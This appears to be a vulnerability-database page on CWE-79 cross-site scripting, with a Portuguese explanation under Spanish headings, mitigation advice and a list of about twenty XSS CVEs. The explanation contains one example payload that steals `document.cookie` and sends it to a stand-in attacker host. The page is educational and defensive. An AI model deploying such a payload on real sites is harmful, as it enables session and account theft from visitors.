Fallos del tipo CWE-79

29.116 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-31223HIGHDradis before 4.8.0 allows persistent XSS by authenticated author users, related to avatars.EPSS 0.5%CVE-2023-43647MEDIUMbaserCMS Cross-site Scripting vulnerability in File upload FeatureEPSS 0.5%CVE-2023-25062MEDIUMWordPress Pinpoint Booking System Plugin <= 2.9.9.2.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2021-25967MEDIUMCKAN - Stored Cross-Site Scripting (XSS) via SVG File UploadEPSS 0.5%CVE-2022-20657MEDIUMCisco Prime Infrastructure and Cisco Evolved Programmable Network Manager Cross-Site Scripting VulnerabilityEPSS 0.5%CVE-2024-0254MEDIUM(Simply) Guest Author Name <= 4.34 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2024-0010MEDIUMPAN-OS: Reflected Cross-Site Scripting (XSS) Vulnerability in GlobalProtect PortalEPSS 0.5%CVE-2024-1237MEDIUMElementor Header & Footer Builder <= 1.6.24 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2026-54158CRITICALSiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()EPSS 0.5%CVE-2026-84673HIGHJenkins Customizable Header Plugin 295.v2544b_ca_19b_97 and earlier allows overwriting the plugin's appearance configuration through StaplerEPSS 0.5%CVE-2022-41435MEDIUMOpenWRT LuCI version git-22.140.66206-02913be was discovered to contain a stored cross-site scripting (XSS) vulnerability in the component /EPSS 0.5%CVE-2019-25093LOWdragonexpert Recent Threads on Index Setting hooks.php recentthread_list_threads cross site scriptingEPSS 0.5%CVE-2024-6447HIGHFULL <= 3.1.12 - Unauthenticated Stored Cross-Site Scripting via License Plan ParameterEPSS 0.5%CVE-2024-1392MEDIUMElementor Addon Elements <= 1.12.12 - Authenticated (Contributor+) Stored Cross-Site Scripting via Dual Button WidgetEPSS 0.5%CVE-2022-20631MEDIUMCisco Enterprise Chat and Email Cross-Site Scripting VulnerabilityEPSS 0.5%CVE-2025-3489MEDIUMNababur Simple-User-Management-System register.php cross site scriptingEPSS 0.5%CVE-2024-45962MEDIUMOctober 3.6.30 allows an authenticated admin account to upload a PDF file containing malicious JavaScript into the target system. If the filEPSS 0.5%CVE-2024-12870MEDIUMStored Cross-site Scripting (XSS) in infiniflow/ragflowEPSS 0.5%CVE-2024-3244MEDIUMEmbedPress – Embed PDF, Google Docs, Vimeo, Wistia, Embed YouTube Videos, Audios, Maps & Embed Any Documents in Gutenberg & Elementor <= 3.9.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2026-27870MEDIUMCROSS-SITE SCRIPTING (XSS) VIA MALICIOUS FILE UPLOAD ON REGESTA SMART HD-PLC OF TELDATEPSS 0.5%